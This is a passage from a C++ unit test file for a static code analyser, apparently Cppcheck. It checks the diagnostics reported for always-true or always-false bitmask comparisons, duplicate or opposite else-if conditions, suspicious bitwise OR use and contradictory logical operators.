& 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n 